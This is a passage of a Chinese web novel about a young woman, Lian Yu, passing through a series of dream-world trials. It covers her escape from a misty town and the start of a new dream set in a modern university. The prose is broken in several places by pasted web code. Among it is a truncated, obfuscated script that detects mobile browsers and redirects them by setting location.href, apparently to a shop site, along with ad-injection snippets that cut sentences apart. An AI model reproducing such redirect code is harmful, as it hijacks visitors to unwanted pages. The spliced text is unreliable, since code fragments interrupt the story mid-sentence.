连钰略微放下心,推开房门。门外大堂还是有许多牌位,然而上面的名字都被抹去,看不出是谁的。 她走向曾经被自己记住的那块牌位的地方,那个地方空荡荡的,使整排牌位看起来缺了一角。 原本那个牌位大概是江黎所作,用来掩饰江艳假死。 江艳的牌位不见了,是因为江艳本人就在身旁。 这个认识让连钰更加不自在。 大堂内香炉很空,只插有一炷香。连钰扫过一排排无名牌位,心中一动。 如果只是上面世界的简单对应,这里的牌位为什么要隐去姓名?缺失的江艳牌位是在提醒什么。 江艳问:“为什么不走?” 她语气不掺杂一丝责怪,仿佛单纯的疑问,又隐约有些期待。 连钰道:“我们上柱香吧。” 她从摆放香炉的小桌下找到一捆香和火柴,点燃一炷香。 “我建议你们也照做。” 要是连钰没猜错,这里供奉的不是江家祖先,而是……江家的女人们。那些成为祭品的,操劳一生的女人。 原本的世界里,江艳那块牌位是江黎所作,不光是因为她要掩盖真相,还因为没有专业的匠人为江艳制作牌位。 这里的牌位对应的恰是那些在过去岁月里连姓名都不曾留下的女人。 梁锦乖乖跟着连钰一前一后上了香,两人上完后看向江艳,后者却只笑着说自己不需要。 连钰料到她会这么说,没有催促她。 袅袅的香气在古旧的宅子里晕开,连钰又闻到了那股熟悉的味道。 “我们走吧。”以防万一,她带领两人退出江家大堂。 外面的月色很亮,像第一-夜一样照得路面雪白。和连钰想的一样,月亮处于微笑状态。 但是还有一件事要确认。 她飞快跑向江家大门,抬头向上望去。 她赌对了,下面的世界也有灯笼。 在这个只有女人能进入的世界里找的出口才是真正的出口,而要出去,肯定要借助能让人看清迷雾的道具。 “梁锦,江艳,我们分头在厢房里找梯子。我觉得,这里的灯笼能带着我们走出迷雾。” 两人应下,各自分开寻找。 连钰直接去了从前路远去过的东厢房。 东厢房的空气里漂浮着些灰尘,连钰挥了几下后就忙不迭地奔向角落。果然,路远来的这个厢房有很多工具。 她搬开梯子就要出去,谁料梯子后面还有一个木箱。 来都来了…… 连钰放下梯子,直接上前打开木箱。木箱没有锁,里面放着的东西却让人一惊。 锁链、麻绳、小刀…… 这条锁链和江艳在上面时脚上系着的有些像,上面还一把打开的锁,可是钥匙不见了。 连钰的脑内刷地浮现她来到水面之下后的种种画面。 江艳来过这儿。 唯一的一炷香是她敬的。这里的钥匙也是她拿走的。否则,她要是弄断锁链,江黎早就发现了。他没有发现,就是因为江艳靠的是早就拿到的钥匙。 “找到了么?” 一具柔软的身躯从后靠向她。 温热的话语掠过她的耳畔,江艳白嫩的双手搭在她的肩膀上,正如连钰看到的影子。 “你在看什么?” 45. 迷雾小镇(15)引路灯 连钰早该想到的。这里是梦境,不是梦境的原型。如果说梦境主人是被诱拐到小镇的女孩,现在的梦境也许代表她想要被解救的愿望,也有可能反映她内心对于其他人的恶意。 她不该因为怜悯轻易相信别人。 连钰身上的热意在看见箱子里的东西时褪得一干二净,她反手搭住肩膀上同样冰凉的手,说道:“没什么。我以为在这里能找到燃料。” 灯笼需要燃料才能亮。江家门口悬挂的灯笼里面没有亮光,她们需要找到燃料才能让灯笼引燃。 恰好可以做应对江艳的借口。 江艳脸色稍霁,但握住连钰的手捏得更紧。 “我刚刚就想说那两盏灯笼都没有火,怎么能引路。” 她拉着连钰就要向外走,连钰用力挣脱她的手,江艳顿住回身,看见连钰是去扛梯子后才掩去眼中的异色。 “走吧,不管怎么说,先把灯笼取下来。”连钰表面已经恢复如常,江艳瞧不出什么来,只得跟着连钰走出屋子。 另一边梁锦一无所获,说西边的厢房只有些杂物,没有梯子,也找不到其它看起来有用的东西。 “没有能点燃的东西吗?”连钰问。 梁锦摇头。 大家都注意到了灯笼的异常,但在厢房里都没有找到线索。 连钰逼迫自己努力回想细节,可惜她并没有看到路远换的燃料是什么。 “其实,这里有能够点燃的东西,”江艳开口,吸引了另外两人的注意力,“香。” “香?”连钰回想起刚才香的长度,恰好能够塞进灯笼里。 “如果是香,那我们等会点燃后一定要注意时间。有可能只有一炷香的时间,有可能需要换香,到时候必须及时更换。” 连钰心念之间联想到许多可能有关香的规则。 江艳率先进了大堂拿走小桌下剩下的香,足足有一捆。 连钰心觉不对,说道:“我们肯定不需要这么多。外面的迷雾考验的是要找到能通过的关键,而非霸占所有资源。” 就连钰在这个梦境的体感而言,选择大于一切。如果不是她一直坚定帮助其他女性,月亮不会一点点被唤醒善意,最后站在她这边。要是她真的霸占了所有香,断了之后要出逃的女性的路,这个梦境的主人不会让她好过。 连钰抬眼望向表情自如的江艳,更加警惕。 在她们没有找到燃料时说香可以引燃的是江艳,之后先人一步拿到香的也是她。如果是别人,可能真的会直接应下,不管江艳拿走了多少。 江艳在给她下套。 江艳莞尔一笑,说:“你可真是单纯。”她像是在嘲笑,但是手上却抽出几根香,将剩下的放回原处。 “走吧,我们离开这里。”江艳擦亮火柴点燃香,灯笼里亮起几乎不可见的橘黄的火光,之后只余一个亮点。 江艳率先一步离开大堂,徒留提着另一盏灯笼的梁锦和连钰面面相觑。 两人默默跟上江艳,在走出江家后,连钰突然问道:“你知道怎么出去么?” 江艳摇摇头,说:“不知道,我在地底下待了太久,只见过江黎。” “况且,”她笑了一声,“我失忆了。你忘了吗?” 连钰表情不变,看向梁锦。 梁锦不确定地说道:“我大概知道方向。但是,是不是从那里走,我也不确定。” 她继续说:“其实就是长街的尽头。我们顺着长街走就好。” 剩下两人一个失忆一个没有探索过长街,自然跟着梁锦走。 梁锦提着灯笼在前面引路,连钰紧跟在后面,江艳则有意无意落后一步,连钰的余光只瞥见她提着灯笼的手腕。 说起来,江艳不仅没有了初见时畏缩害怕,身上一并消失的还有羞-耻感。 之前没有衣服时,她表现出的不自在不是假的。连钰扪心自问,自己没有办法做到像江艳现在这样这么镇定。 对于衣服蔽体的需求,几乎是人类进化后的本能,对于长期受凝视的女性来说更是如此。 连钰心里有个猜想,开口问道:“江艳,其实我很奇怪,江黎为什么会对你有那么强的控制欲。他注定是这里的镇长,拥有这个地方最高的权力。他是男人,不用像你像梁锦一样担心成为祭品,这样的人很难缺失什么。” 占有欲和控制欲过剩也是一种缺失。因为自己缺少什么,或者害怕失去什么,才会对某个人某样事物格外在意。 连钰听见身侧传来江艳的轻笑。 “真奇怪,我不是说过我失忆了么,这些东西我怎么会知道。” 连钰没有退缩,说道:“你是失忆了,可是这些天江黎的表现多少会透露一些。” “可是这不重要。我们都快要离开了。” “江黎的确不能够影响我们离开,但是,你可以。”连钰突然停下,前面的梁锦早就听见两人满是硝烟味的对话,一直留意她们,见状也随即停下。 “你早就怀疑我了。”江艳没有意外,神情依旧淡定,哪怕是赤-身裸-体也无损她的淡然。 连钰道:“抱歉,我必须确定你有没有恶意。” “所以我说你单纯。你真傻,想要诈我都不会,只会直愣愣地问我。”江艳长呼一口气,有些无奈。 “好在,有时候心地单纯不算坏事。” 江艳吐槽完后说道:“我可以说,但是边走边说吧,香已经点燃了。” 连钰当然没有异议。刚才她也是赌了一把,赌这个梦境的规则偏爱她这样的表现。 三人行走在空荡荡的长街,四周的房屋安静得像从未有人住过。连钰一边听江艳说话,一边注意到有些院子甚至有开得正好的花朵,很有生活气息,但是处处都没有人的痕迹。 “别看了。”江艳在她耳畔轻声说道,同时用手遮住连钰那侧的视野。 “现在,你的注意力应该全部在我身上才对。” 江艳半是命令半是引导地让连钰不再看路旁的房屋。 她把手里的灯笼塞给连钰,才继续自己的讲述。 “越是接近权力的人,越会在成长期间被迫扭曲。因为,权力的获取就是要违背自己的良知,用尽一切手段和别人争夺。” 江艳知道连钰没有明白自己的意思,她拉过连钰没有提灯笼的右手握紧进而说道:“江黎也是如此。” 到现在,江艳也不想隐瞒自己没有失忆的事实。 “江黎自从懂事就被那个男人带在身边,连江黎的母亲都不许插手。也是,她只是外乡来的,用来给江家繁衍子嗣的,一点地位都没有。” “我不知道他的教育内容,但我知道江黎一开始经常挨罚,不给吃饭,整夜整夜跪在牌位前。后来我发现,只要江黎对妈妈有一点善意,哪怕只是接受那个女人买的零嘴,也会被那个男人罚。” “因为江黎把母亲当作人对待。那次,那个女人也受罚了,因为那个男人根本不会多给钱,是女人骗了他。很可惜,我还挺喜欢她的。至少她的手心是热的。” 而那个男人连眼神都是冰冷的,直到他看江艳的眼神里掺杂了其他东西,江艳才觉得从前被无视也挺好。 江艳隐去其它细节,继续说道:“总之,江黎的童年没有很幸福,甚至可能他觉得我更轻松。毕竟那个男人对我没有任何期待。” “所以你对他做了什么?”连钰任由对方拉着,手心被冰得发疼。 “我什么都没有做呀,”江艳轻笑,“我只是每次遇到让我不高兴的事情时,在他面前表现得害怕无助罢了。” “他需要一个比自己弱小,需要保护的对象,那就由我来担当好了。江黎只有保护着我的时候才有安全感,而我需要他杀死那个男人。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749299|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那个男人不死,我就一定是祭品,没有地方可逃。” “你怎么做到的?” “只要江黎知道我的处境,自己就会动手。” 连钰恍然。江艳说得没错,她什么都没做,从头到尾她的手都是干净的。 到这时候,连钰反而不害怕江艳。她之前担心的是江艳另有打算,又或者并非月亮希望她带走的人。说白了,人担心的是未知。 连钰反向握紧江艳冰冷的手,说道:“他死了吗?” 江艳道:“他会一个人永远留在那里。” 连钰觉得这太便宜江黎,但是事已至此,只能如此。她不知道的是,随着她们三人走进迷雾,变化的不仅是她脑海里的记忆。 身后被雾气阻隔的小镇从天边开始褪-去颜色。 从上到下,从天空到地面,一点一点失去所有的颜色。天空里不再有月亮,因为月亮就在她的身边。 水面之上的地底,江黎从昏迷中醒来。从睁眼的那一刻他就知道,妹妹再也不会回来了。 他艰难起身,回到地面上的江家。小房间里,供桌上的红布不知何时落下,显露-那出原本遮盖的木像。 那是一个雕刻得栩栩如生的女孩,眉眼清秀面带笑意。 那是小时候江黎雕刻的,曾经他因为这个被父亲责打。 江黎恍惚意识到江艳早就开始布局。不知道她是什么时候换掉了塑像,原本祭拜的月亮被偷梁换柱成江艳。大概现在月亮与江艳已经成为一体。 他跌跌撞撞推开江家大门,恰好望见小镇的变化。 “都没了。”他看向枯萎的小白花。 月亮不见了,月亮的守卫自然凋零。曾经困住江艳的那些人早就不是她的对手,她只是在等一个纯粹的人,一个能让她再次相信这个世界的人。 很快,天地间只剩下黑白两色,难以辨认黑夜白天。这里已经没有时间。 江黎推开路家大门,里面只有被开膛剖肚的木匠。其余的人家,不是死在了某一刻,就是消失了,仿佛被轻轻擦除所有的痕迹。 这里只有江黎。 他被遗弃在梦的角落。对于梦里的人而言,这一小片天地就是一生。 他一间一间,查看了所有人家,包括路家对面的那位阿婆家。 他看不见的路远正对着虚空说话:“我完成了任务,为什么没有立即离开?” 留声机嗤笑道:“你别以为我不知道你的计划。你根本没有让她爱上你的意思。你自己无法离开,希望她能脱离。真是高尚啊。” 任务者楚明锋没有被识破的心虚,答道:“我帮助困境中的她,理论上具备让她爱上我的可能,但是爱情是不受控制的。你想要的剧目,我不能保证能上演。” 楚明锋从上一个梦境开始就想好怎么做。他的确给连钰提供帮助,但是表现得完全没有一丝暧昧,甚至第一次见面时还惹人心烦。 他继续道:“我的行为符合要求。你在等什么?” 留声机恼怒德发现按照规则自己无法伤害楚明锋。要是他能处置楚明锋,他一定会让楚明锋和那个江离扮演的角色一样永远被遗弃。 留声机想,没事,无论何时他才是掌握这群任务者命运的存在。他会用梦境慢慢折磨他们。 “没什么,只是发现连钰比我想得更加心软善良。” 这个梦境是他特意挑选的,难度很低,但是能测出任务者的心态。以往他通过这个梦境看出了许多人的弱点,不过看久了也没意思。 “下个梦境见。”留声机话音刚落,路远的身体便委顿在地,化为虚无。 站在长街上的江黎眼前一花,再一睁眼脑袋里便被灌输了许多不属于他的记忆。 他仍然“活着”。 他听见一道戏谑的声音念道: 梦境迷雾小镇永久封闭中。 46. 雪夜颂歌(1)寻找她 “嘶……” 连钰从剧烈的头痛中醒来。 小镇梦境结束时,脑袋里灌进了许多不属于她的记忆,她还没有消化完就被扔到了新的梦境。 连钰揉着脑袋坐起来,打量了下周围。玄关处的木制鞋柜收拾得很干净,鞋子全都摆放整齐,只有地面有一双拖鞋。再一转眼,整个客厅的布置也很简单,桌子上没有任何多余的东西,除了必要的家具,甚至没有多余的装饰。 缺乏生活气息的家。和她从前的类似。 她坐在原地,说道:“喂,我有个问题问你。” “你真是越来越没有礼貌。”说是这么说,但是留声机的语气听不出生气。 礼貌又不能让你放过我,连钰腹诽。 “最后我恢复的记忆里,我是去乡镇收集资料的大学生,跟我一起的还有路远等人。看起来很合理,但是,和我预想的几乎一模一样。” “这有什么问题?” “有。在那个梦境,选择大于一切。如果我一开始坚定认为自己的身份是小镇居民,没有发现梁家人的异常,我得到的记忆会不会不一样?” 留声机语气一变,恢复了往日的轻浮:“会。无论如何,你都会有身份。不过,能不能离开小镇,就不一定了。” 连钰暗暗吸了口气。 在那个梦境里,要是她缺少对同-性的同情,顺从地接受留声机给自己安排的身份,最后大概会被慢慢同化,说不定会成为月亮集体意识的一部分。 想起那张月亮上的人脸,她觉得江艳等人的身份没有那么简单。就像她,作为假梁玉,可以按照自己的设定走剧情,不超过人物该有的反应就好。那么江艳等人同理也可以如此。 江艳可以是真的被哥哥控制的女孩,也可以反向利用哥哥控制欲逃跑。梁锦可以一直是家里被无视的孩子,也可以因为嫉妒对家人下手。 同样的境遇,不同的选择,造就不同的剧情。 但江艳等人给她的感觉不止于此。 连钰没说出来,但是心里想的是,她的直觉告诉自己江艳不光是个“npc”。 “我知道,路远是最开始的楚明锋。那么江艳是谁?” 会是她见过的人吗? 留声机呵呵一笑,说:“我以为你会先问梁锦。” “我知道梁锦是小荣。” 小荣的气质太特殊。从荣倩倩到梁锦,都是善良单纯,愿意为同伴牺牲,陪伴在连钰身边的人。她是最无害的类型,很难让人不喜爱。 连钰顺势想到,江黎,说不定就是江汾。他和小荣似乎不仅是绿日时代里的恋人那么简单。小荣最后下意识为他跳进水里,说明两人关系匪浅。 “既然都知道了,还猜不到江艳?行了我下了,你慢慢演。” 留声机懒得回答连钰,“刺啦”一声后就没了声音。 又是这样……我该说你还记得打个招呼走吗。连钰心底默默骂了留声机几十遍还不见对方回来,知道他是真的跑了。 “咔哒。” 玄关处传来门开的声音。连钰浑身一紧。 刚刚顾着和留声机讲话,还没来得及观察好,也不知道这次给的身份是什么。等等,留声机还没说任务啊。 来人没有犹豫,开门后直接进来。 连钰视线上移,看见来人穿着白色运动鞋和浅色牛仔裤,手里提着一个塑料袋。再往上就是米色卫衣。 看来是现代背景的梦境,她想。 连钰的视线再微微上抬,猝不及防撞进了她熟悉的像一汪湖的蓝色眼睛里。 队长…… 楚明锋的头发长了些,是常见的略微时尚的男士发型,但是相貌和神情没有变化。 他噙着一抹笑,说道:“怎么看傻了?这么急着要吃刘记的蛋黄酥?” 他晃了晃手里的袋子,白色塑料袋上印着刘记的字样和商标。他换了唯一的拖鞋后走进客厅,连钰好像真的闻到了新鲜出炉的蛋黄酥香味。 带着热气的糖分与酥油的味道。 “什么馅的?”连钰觉得队长在这个梦境里的身份应该和自己很熟,直接开口询问。 “当然是芋泥麻薯和原味的。” 他还知道我的喜好。连钰默默记下,看来真的很熟。 等等,队长在这个梦境又是给我买喜欢的零食,又是有钥匙进我家门,还有拖鞋给他换…… 要是她没记错,玄关处只有一双拖鞋。 这该死的留声机不会给她安排个对象吧? 她在现实里都还没有啊。 而且,如果是这样,熟人相见,分外尴尬。 连钰心情复杂地接过袋子,站了起来。楚明风微微低头刚好看见连钰的额角,诧异地道:“怎么跌破了?”说着伸手擦了血迹。 连钰被这突如其来的动作惊到,往后退了两步。 他干嘛突然碰我……但是看眼神也没有一点暧昧。队长究竟在干嘛。这举动和氛围也没有恋爱的酸臭味啊。我们到底是什么关系? 而且队长的手上有血,是我额头上的? 连钰更是一惊。她刚刚来的时候似乎揉了一下脑袋。 她悄悄看了眼手心,发现不光是手心,连拿着的塑料袋都沾了血迹。 “那个,你先坐。我马上就来。” 连钰想直接推着楚明风坐下,手刚伸-出去就默默缩了回来。 可不能让队长的衣服上也沾血……他穿的还是浅色。 楚明风啼笑皆非,一脸无奈自己拉了张椅子坐下,看着连钰慌慌张张蹲下,背对着他把擦地的抹布收好藏到怀里,又侧着身子溜进旁边的厨房。 连钰躲进厨房后才敢展开抹布查看。果然,抹布擦的都是血。 我这个身份是不是又犯事了? 她快步走到水龙头旁,一边奋力搓洗抹布,一边注意听客厅的动静。好在楚明风很有礼貌,说坐好就坐好。她挤了一-大坨洗洁精搓得差不多后才端着水壶走出厨房。 “我给你倒点水吧。”顺便你再透露点信息吧兄弟。咱俩到底什么关系。 楚明风态度自然地接过茶杯,啜了一口后说道:“怎么只有你一个人在家,连阿姨呢?” 连?看来这个梦境里我很有可能还是我自己的名字连钰。 连钰大脑飞速运转,答道:“出门了。” 楚明风点点头说:“看来连阿姨状况好多了。从前她都不愿意出门。” 楚明风打量了下连钰的脸色说道:“你不用太担心阿姨。她肯定会变好的。我就住在对面,几乎每天都可以来看她。” 信息量很大啊。 连钰从楚明风说话内容推测出许多信息。比如,自己的妈妈很可能患有疾病,极有可能是心理方面,毕竟他说的是“不愿意”,而不是“不能”。其次,他说自己住对面经常来看望,看来自己扮演的角色不经常回家。也许是在外地工作? 连钰心下稍定,表情自然地扯过桌上的塑料袋,打开了一盒蛋黄酥。 “你晚上吃什么?”连钰啃了一口蛋黄酥问道,嗯,芋泥麻薯的真好吃。 楚明风眼睛微微睁大,撑着侧脸无辜说道:“当然是在这里了。” 连钰刚咽下的蛋黄酥瞬间不香了。 她支支吾吾说道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“可是我不会做饭。” 楚明风已经站起身,正在挽袖子:“良心发现了?不如今天就跟我学,说不定一年以后就能吃上你做的饭了。” 连钰又是一噎。但是她既不会做饭,也不确定两人关系不好反驳。 算了,吃人手短。她默默跟上进了厨房。 “哦对,帮我从包里拿一下醋,上次来醋没了。” 连钰从善如流又退出厨房,拉开他的背包,果然发现一瓶醋。 调料的旁边是一沓文件,最上面的是一张表格,赫然写着:楚明风,男,28岁…… 是一所大学的入职表格,右上角还贴了格外显眼的证件照,连证件照都帅得人神共愤。 原来他这次叫楚明风。 连钰觉得,队长说不定本名就是这个读音。留声机真是偷懒啊,都不愿意起新的名字。 她拿着醋回到厨房,发现楚明风已经拿好菜,正在用微波炉解冻排骨。 他看起来比我熟悉这个家……连钰默默想,再次确定他们的关系真的不一般。 结合楚明风说的经常来看望阿姨,但是举止间从容大方,她认为楚明风说不定是和自己的母亲更熟些,才会连带着对她好。 或许自己的母亲以前帮助过他,又或者是他是亲戚朋友的孩子? 连钰一边思绪奔腾一边乖乖在角落站好免得挡着楚明风发挥。 楚明风热好油后一转身就看见装作壁花的连钰,噗嗤一下笑出声。 “你在那站岗啊,”他努努嘴,“别闲着,把生菜洗了。” “嗯,洗完再剥蒜子。” “多剥几个。” 楚明风指挥着连钰打下手,自己翻炒排骨。 “还好之前把排骨都焯过水了,今天直接烧。”他手里忙着,嘴巴碎碎念。 连钰在旁边听着倒不觉得烦,毕竟今天能不能吃上饭全看楚明风了。 她一边默默学习,一边心里念叨:好贤惠的男人。 队长的下厨技能是原本就会,还是进了梦境以后被迫学会的……以后自己是不是也得会啊。 在进入梦境前,连钰只是刚进入大学没多久的学生,其它活儿倒是会干,但是对于下厨只知道一星半点的基本常识。进了梦境以后,又是训练体能砍怪物,又是躲避鬼怪,现在可能大概还得学做饭。 或许梦境世界又叫做免费全能人才培养班,不通过会死的那种。 她心里吐槽,努力淡化梦境给自己的影响,不知不觉就等到了一桌香喷喷的饭菜。 “好吃……”话梅排骨一入口,连钰就鼓着脸不由自主地赞美一句,接着埋头开吃。 不趁这个时候好好吃,下个梦境说不定就没机会了。 等到吃饱喝足,华灯也已初上。楚明风特意留了一份饭菜给连钰的母亲,连钰当时差点没绷住,毕竟自己之前只是随便应付说母亲出门,但是根本不知道人在哪儿,太饿了也没想起来…… 送走楚明风后,连钰在屋子里转了转,发现有间明显是长辈的卧室里还有双拖鞋,她顺手拿到玄关处放好就开始思考到底这个梦境怎么回事。 “咳咳。”留声机突然在她脑内咳嗽两声。 “干什么,终于想起来你没布置任务了?”连钰语带嘲讽。 “早就想起来了,但是看你狼吞虎咽没好意思打扰,”留声机嘴硬道,“你的任务很简单。找到消失的母亲。” “友情提示。这个梦境里的你会受到设定角色的残留影响。” “记忆闪回、下意识的习惯性动作、喜好和恐惧等。” “还有,不要轻易相信任何人。” 47. 雪夜颂歌(2)熟悉的世界 当天晚上,连钰把整间屋子收拾了一遍。不是她热爱劳动,而是她这次又没有记忆。至于留声机说的记忆闪回,她不指望现在就能得到角色的设定背景记忆,只能自己动手找找看。 按照留声机的说法,她的角色的母亲大概已经消失了。为了线索,连钰第一个去了那间看着就像长辈的卧室。 屋子乍一看没什么问题,但连钰想到自己之前在这间卧室找到一双拖鞋,就有些奇怪。 按理说,如果人出门了,拖鞋会在玄关,然而那双粉色格子拖鞋却摆在床前,就像人睡前脱了鞋一样。连钰看向床,上面的玫粉色花朵四件套和拖鞋的风格一致,床单上还有一点褶皱。 她会不会是午睡时突然消失呢? 连钰望向床单的褶皱,试图寻找痕迹。可惜,不仅是床单,被子也并非平铺,看着和不爱铺床的她习惯一样。她没法确定床上的凌乱是否能说明母亲消失前真的是在床上。 她转而搜索床头柜,里面是一些证件,证件的最下方是一个相框,里面放有一张合照。 看着这张合照,连钰有些恍惚。里面的中年女人眉眼温婉,笑意浅浅,穿着白衬衫黑色伞裙,很有书卷气息。但让她恍惚的是旁边的女孩。 里面的女孩看起来只有十几岁,青春期发育的女孩脸蛋略鼓,和现在略有不同,但依然能看出来是连钰。 是连钰本来的样子。 她已经很久没有看自己的相貌了。她害怕在梦境里看见一张不属于自己的脸,让自己怀疑自己的真实性。 无论是绿日时代还是迷雾小镇,她都忙于做任务找线索,没时间也没机会照镜子。现在一张照片就这样闯进她的视野,让她有几分不确定感。 我脑内的系统不是假的。这里只是梦境。这里的我不是真正的我。 连钰忍住不再看女孩的样貌,将相框塞回原处。她已经知道要找的目标的样貌,这张照片就不必再看了。 接着她仔细搜寻其它地方,从衣柜看出是照片里中年女人的简单温柔风格,再次确定女人的身份,又从证件确定她和母亲的基本信息。 原来她这个角色下个月才18岁,而现在已经十月,她应该已经大一了。 大一……连钰自己也是大一新生。 她忍着不适搜完卧室后离开,又去自己的房间查看。 她的房间很温馨,粉色碎花窗帘和清新的小花四件套相得益彰,是很多女孩喜欢的法式风格。书桌上摆放着很多东西,看得出尽量收拾了但仍然不够整洁,和连钰的习惯一模一样。 她走上前一一检查物品,没有任何异样。 唯一和连钰本人不太一样的就是这个角色有许多木偶,有小兔子、小猫还有一个没有雕刻面容的小人儿。连钰喜欢小猫小狗,但没有收集木偶的爱好。因此,她特意反复查看了木偶,只看出雕工精细,制作者在雕刻的时候应该很用心。 那个木头小人也被检查了几次。短头发的小人儿穿着普通的长袖裤子,甚至看不出性别。毕竟现在不乏酷酷的女生剪较短的发型。 连钰叹了口气将东西塞回书桌上的架子。 “嗡——” 震动声吸引了她的注意力。 连钰顺着声音掀开被子,在枕头旁发现一个手机。 真的是好久没见到手机了啊,原来的手机瘾都治好了。连钰心里默默想,微微调整了一下角度,手机顺利显示指纹解锁。 连钰第一个点进社交软件绿信,刚才就是有人打她的语音通话才让她发现手机。 最新消息是楚明风。他询问连钰未果后打了电话。 楚明风:你的ppt准备好了吗?^_^ 连钰看向最后的颜文字,心中涌起一股不妙的预感。 连钰:什么ppt? 楚明风立马回复道:果然忘了啊。虽然是我的课,但是你不好好做个人展示的话也是没有这一部分的分数的。 ! 连钰关于大学的仅有的记忆瞬间被唤醒。 这一天,她再次想起被个人介绍、presentation和小组作业支配的恐惧。 这下,在原本世界掌握的技能一秒钟被激活。她飞速在屏幕上敲字,敲了几个后又删除,改换了一下语气。 连钰:那个,楚老师,我真的忘了。要不您再给我发一份要求呢?#可爱# 对话框显示对方正在打字,过了一会儿才发送来一份pdf。 楚明风:明天见。 连钰知道自己谁也求不了,楚明风能再发一份文件已经是看熟人的面子上了。她立马撑开电脑支架,在输入密码时试探性地输入自己原本用的那个,顺利开启电脑。 到这里,她还有什么不明白的。肯定是留声机故意设置,让她怀疑自己的把戏。 她心态良好地接受现状,点开软件传送文件后开始对着要求吭哧吭哧做ppt,这一做就是两个多小时。 无他,这个梦境里她的专业不是原本的专业。这些书目她一本没读,只能现找飞速浏览目录,再找几篇相关的论文看看别人的想法。 当然,在ppt的左下角她都有标注出处。这是她原本世界的老师强调的。 虽然她真的不懂这些文学家,也没看几本书,但是该有的素质她还是有的。况且楚明风布置的作业并不难,要求不高,不然她真的害怕自己临时赶工的ppt没法符合要求。 等到做好ppt,看完手机里所有的信息后,连钰才强撑着洗漱完毕,将自己扔进柔软的床铺。 啊……躺着真舒服。被子好好闻,是晒过没多久的。 连钰在床上翻滚了一圈后打开手机的备忘录记下自己明天去学校带的物品。 她翻手机知道自己是住宿的,只是家在本地,才会在周末回家。这次回来前还承诺室友带她家周边的点心。没错,就是刘记的。刚才她在自己房间发现了两盒蛋黄酥还有麻薯团子和桃酥,都是能常温放的。 还好原主之前就买好了,不然明天一-大早店铺肯定没开门,就得失约了。 想着想着,连钰闻着好闻的被子,沉入梦乡。要知道,虽说她是在梦境,但她已经很久很久没有时间睡觉,更别说做梦了。 不过今晚,她久违地拥有自己的梦境。 “这是个细活儿,要耐心些。”一个苍老的声音在她头顶响起,紧接着一双皱巴巴的手握住她的手,用细纱布擦去她指尖的血珠。 “爷爷,我真的能做好吗?”连钰的意识悬浮在半空中,听见自己用稚嫩的声音说道。 “只要你想……”老人之后似乎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还说了些什么,但是整个梦太过模糊,声音被隐去了不少。 等到连钰醒来,已是天光大亮。 糟了!她没定闹钟! 还好还好,只是七点。学校离家不远,骑车很快就到。 连钰冲进卫生间飞速洗漱好,一边想一边收拾东西。 “电脑、鼠标、笔袋、笔记本……哦哦,还有吃的。”连钰痛恨自己昨晚嫌累没有收拾东西,但是心里清楚下次还敢,于是轻轻地放过自己。 从衣柜里随便挑了几件应季的衣服塞到纸袋里后,连钰就抓起钥匙冲出家门。 “啊,错过跳出来的优惠券了。”连钰心里着急,退回去等优惠券跳出后领取,火急火燎地扫码后跳上自行车。 还好这个技能没忘。 连钰将车轮蹬出了火星子,根据缺德地图的指示二十分钟骑到学校,将自行车摆好后就冲进去。 “没时间去寝室了,先去占位。等等,哪个教室来着?” 连钰又翻出自己昨晚特意截的图,冲进教学楼。 彼时教学楼里人潮涌动,有拎着早饭的,有气定神闲的,有化好全妆的,有急着打水的。连钰混入学生中间,有种已经回到现实的错觉。 好熟悉的氛围啊。 她深深吸了口空气后,被人群里浑浊的气息打碎幻想。 看来不管是梦还是现实,人多的地方都一样讨厌。 还好教室在二楼,不用等电梯。连钰跟着大部队挤上楼梯后顺利找到地方。 只是…… 她呆在门口确定这是自己要找的教室后感到震惊。 楚明风的课不是选修课吗?就算是专业选修课,那也是课容量只有30人的小课啊。学校这么大设置的课程这么多,为什么这门课的教室会挤满了? 哪怕教室里已经剩下了前两排,现在也依然有人陆陆续续进去,在连钰的晃神的功夫占据了第二排。 “……” 连钰麻木地走向第一排,将装着点心的袋子放地上,背包塞桌肚里,感到了现实无情的摧残。 果然是好久没上课了,已经忘了风水极佳之地需要提前占据。 但是她的确不知道楚明风的课会这么受欢迎啊……明明现在才七点五十五。 连钰习惯性掏出手机。没错,她已经恢复了手机控的本质。 她有一个室友也选了这门课,五分钟前发来消息说男朋友也来蹭课,给连钰留的位置没了。 没事,我很好。只是坐第一排而已。 很快,楚明风就出现在门口,从容地走进教室,连上自己的电脑。 七点五十八。他也卡点来啊。 连钰腹诽的同时默默低下头希望对方不要发现自己。 “今天展示的同学都粘贴好ppt了吗?” 楚明风的声音在讲台上响起,听得连钰一个激灵。 对了,她还没上传文件。 连钰摸出U盘奔向讲台,在楚明风笑意满满的眼神里默默上传文件。 楚明风拨开麦克风,趁连钰拔U盘时低下身子说道:“下课后来我办公室。” “放心,不是要挂你。”楚明风昨晚大概是被连钰的语气逗乐了,此时此刻说话还夹杂一丝笑意。 “是给你开后门哦。” 48. 雪夜颂歌(3)平凡的表象 连钰听到楚明风这话差点没被自己的口水噎到。 什么叫开后门。她明明昨晚有好好做ppt,不至于平时作业的分数都拿不到吧。敢小瞧她。 她一怒之下猛地一抬头,成功用头锤击中楚明风的下巴。 很清脆的一声,证明两人的骨骼都很坚强。 “嘶……”楚明风哀怨地揉揉自己的下巴,蓝色的眼睛甚至有些水汪汪,像是连钰故意欺负他似的。 连钰发誓自己真的听见台下有的同学的嘀咕声了。 不用想都知道肯定是在嘀咕她这么不小心,这样就得罪老师之类的…… 连钰本来还有些被瞧不起的愤怒,看见楚明风这委屈巴巴的,下巴撞得不轻的样子,气又消了。楚明风的眼睛下方甚至还有青黑的痕迹,一看就是熬夜熬的,更衬得有几分憔悴。 连钰:他该不会……也熬夜做ppt了吧。 